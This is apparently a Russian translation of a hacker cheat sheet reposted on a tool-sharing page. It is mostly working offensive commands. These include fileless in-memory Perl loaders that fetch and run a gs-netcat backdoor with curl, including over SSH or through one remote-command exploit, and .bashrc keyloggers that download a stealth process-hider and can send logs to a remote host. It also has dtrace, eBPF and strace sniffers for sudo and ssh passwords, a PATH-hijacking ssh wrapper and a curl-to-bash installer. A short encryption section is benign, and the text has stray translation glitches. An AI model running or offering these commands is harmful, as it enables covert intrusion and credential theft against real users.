Однострочник на Perl для загрузки бинарного файла в память и его выполнения (без обращения к диску, /dev/shm или /tmp). См. Hackshell для подробностей.```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }

Example usage:

memexec /usr/bin/id -u

cat /usr/bin/id | memexec -u

curl -SsfL https://thc.org/my-backdoor-binary | memexec

root@kitploit:~
Самый короткий возможный вариант (пример):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

(Спасибо tmp.Out за содержательные обсуждения и предыдущие работы других)

Разверните gsocket без записи в файловую систему (пример):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))

root@kitploit:~
Бэкдор также можно передать по SSH напрямую в память удалённой системы и выполнить:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

Если у вас есть одна возможность удалённо выполнить команду (например, через PHP-эксплойт), то это ваша строка:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337

root@kitploit:~
---
<a id="crypto"></a>
## 9. Криптография
<a id="gen-password"></a>
**9.i. Генерация быстрого случайного пароля**

Подходит для быстрых паролей без участия человека.```sh
openssl rand -base64 24

Если openssl недоступен, то мы также можем использовать head для чтения из /dev/urandom.```sh head -c 32 < /dev/urandom | xxd -p -c 32

root@kitploit:~
или сделайте его буквенно-цифровым```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

9.ii.a. Переносимые зашифрованные файловые системы Linux - cryptsetup

Создайте зашифрованную файловую систему размером 256MB. Вам будет предложено ввести пароль.```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec

root@kitploit:~
Монтирование:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

Сохраните данные в /mnt/crypted, затем размонтируйте:```sh umount /mnt/sec cryptsetup close sec

root@kitploit:~
<a id="encfs"></a>
**9.ii.b. Переносимые зашифрованные файловые системы Linux - EncFS**

Создайте ```.sec``` и сохраните зашифрованные данные в ```.raw```:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

размонтировать:```sh fusermount -u .sec

root@kitploit:~
<a id="encrypting-file"></a>
**9.iii Шифрование файла**

Зашифруйте свои 0-Days и лог-файлы перед их передачей - пожалуйста. (и выберите свой собственный пароль):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

Пожалуйста, предоставьте исходный Markdown-контент для перевода.```sh

Decrypt

openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt

root@kitploit:~
---
<a id="sniffing"></a>
## 10. Перехват и угон сеанса
<a id="session-sniffing"></a>
**10.i Перехват SHELL-сеанса пользователя**

Однострочник для `~/.bashrc`, который перехватывает нажатия клавиш пользователя и сохраняет их в `~/.config/.pty/.@*`. Полезен, когда у вас нет прав root и нужно перехватить учётные данные sudo/ssh/git пользователя.

Развёртывание: скопируйте и вставьте следующее в целевую систему и следуйте инструкциям:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
  • В сочетании с zapper скрывает параметры команд из списка процессов.
  • Требуется /usr/bin/script из util-linux >= 2.37 (флаг -I). Мы берём статический бинарник с pkgforge.
  • Рассмотрите возможность использования /dev/tcp/3.13.3.7/1524 в качестве выходного файла для ведения журнала на удалённом хосте.
  • Входите с ssh -o "SetEnv LC_PTY=1", чтобы отключить ведение журнала.

10.ii Перехват всех SHELL-сессий с помощью dtrace - FreeBSD

Особенно полезно для Solaris/SunOS и FreeBSD (pfSense). Он использует зонды ядра для трассировки всех процессов sshd.

Скопируйте этот «D-скрипт» в целевую систему в файл с именем d:```c #pragma D option quiet inline string NAME = "sshd"; syscall::write:entry /(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/ { printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }

root@kitploit:~
Запустите dtrace и запишите журнал в /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

10.iii Перехват всех SHELL-сессий с помощью eBPF — Linux

eBPF позволяет нам безопасно перехватывать более 120 000 функций в ядре. Это что-то вроде улучшенного «dtrace», но для Linux.```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt

root@kitploit:~
Check out our very own [eBPF tools to sniff sudo/su/ssh passwords](https://github.com/hackerschoice/bpfhacks). → Посмотрите на наши собственные [eBPF-инструменты для перехвата паролей sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).

<a id="ssh-sniffing-strace"></a>
**10.iv Перехват SSH, bash или SSHD-сеанса пользователя с помощью strace**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

It is also possible to sniff the SSHD process (captures also sudo passwords etc). Note that we trace the write() call instead (because sshd 'writes' data to the bash):```sh

Find the sshd PID that spawned the bash:

ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...

root@kitploit:~
Sniff 7770 (пример):```shell
tit write 7770

10.v. Перехват исходящей SSH-сессии пользователя с помощью скрипта-обёртки

Ещё более грязный метод на случай, если /proc/sys/kernel/yama/ptrace_scope установлен в 1 (strace не сработает на уже запущенных SSH-сессиях)

Создайте скрипт-обёртку под названием 'ssh', который выполняет strace + ssh для журналирования сессии:

Показать скрипт-обёртку - НАЖМИ ЗДЕСЬ```sh # Cut & Paste the following into a bash shell: # Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh: echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile

Create a log directory and our own ssh binary

mkdir -p ~/.local/bin ~/.local/logs

cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF

cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF

chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile

echo -e "\033[1;32mSUCCESS. Logfiles stored in ~/.local/.logs/. To uninstall cut & paste this\033[0m:\033[1;36m grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"

root@kitploit:~
(thanks to Gerald for testing this)
</details>

SSH-сессия будет перехвачена и записана в *~/.ssh/logs/* при следующем входе пользователя в его оболочку и использовании SSH.

<a id="ssh-sniffing-sshit"></a>
**10.vi Перехват исходящей SSH-сессии пользователя с помощью SSH-IT**

Самый простой способ — использовать [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/).```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"

10.vii Перехват / захват запущенной SSH-сессии

root@kitploit:~

---

[Read more](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet)
Скачать инструмент